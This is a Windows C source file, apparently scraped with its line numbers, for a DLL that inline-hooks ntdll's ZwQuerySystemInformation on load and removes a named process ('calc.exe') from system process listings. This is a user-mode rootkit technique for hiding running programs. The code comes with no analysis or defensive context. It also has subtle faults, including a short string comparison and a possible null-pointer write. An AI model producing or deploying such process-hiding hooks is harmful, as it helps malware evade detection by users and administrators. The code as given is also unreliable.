1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| #include<windows.h> #include<Winternl.h>
BOOL hook_code(); BOOL unHook_code(); NTSTATUS WINAPI NewZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength); char StroneDate[5]={0x00,0x00,0x00,0x00,0x00,}; DWORD OldProtect; DWORD dwAddress; FARPROC procaddr; DWORD num; byte pBuf[5]={0xE9,0xFF,0xFF,0xFF,0xFF}; typedef NTSTATUS (WINAPI * ZwQuerySystemInformation) (SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);
BOOL WINAPI DllMain(HMODULE hModule,DWORD call,LPVOID lpreserved) { hook_code(); return true; } BOOL hook_code() { procaddr = (FARPROC)GetProcAddress(GetModuleHandleA("ntdll.dll"),"ZwQuerySystemInformation"); VirtualProtect(procaddr,5,PAGE_EXECUTE_READWRITE,&OldProtect); if(!StroneDate[0]) { memcpy(StroneDate,procaddr,5); } dwAddress = (DWORD)NewZwQuerySystemInformation -(DWORD) procaddr -5; memcpy(&(pBuf[1]),&dwAddress,4); memcpy(procaddr,pBuf,5); VirtualProtect(procaddr,5,OldProtect,&OldProtect); return TRUE; }
BOOL unHook_code() { VirtualProtect(procaddr,5,PAGE_EXECUTE_READWRITE,&OldProtect); memcpy(procaddr,StroneDate,5); VirtualProtect(procaddr,5,OldProtect,&OldProtect); return TRUE; } NTSTATUS WINAPI NewZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength) { unHook_code(); NTSTATUS status = ((ZwQuerySystemInformation)procaddr)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); PSYSTEM_PROCESS_INFORMATION pcurr = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; PSYSTEM_PROCESS_INFORMATION plast =NULL; if(SystemInformationClass == 5) { while(TRUE) { if((PWSTR)pcurr->Reserved2[1] != NULL) { if(0 == memcmp(pcurr->Reserved2[1],L"calc.exe",4)) { if(pcurr->NextEntryOffset == 0) plast->NextEntryOffset = 0; else plast->NextEntryOffset += pcurr->NextEntryOffset; } else plast = pcurr; }
if(pcurr->NextEntryOffset == 0) break; pcurr = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pcurr + pcurr->NextEntryOffset); } } hook_code(); return status; }
|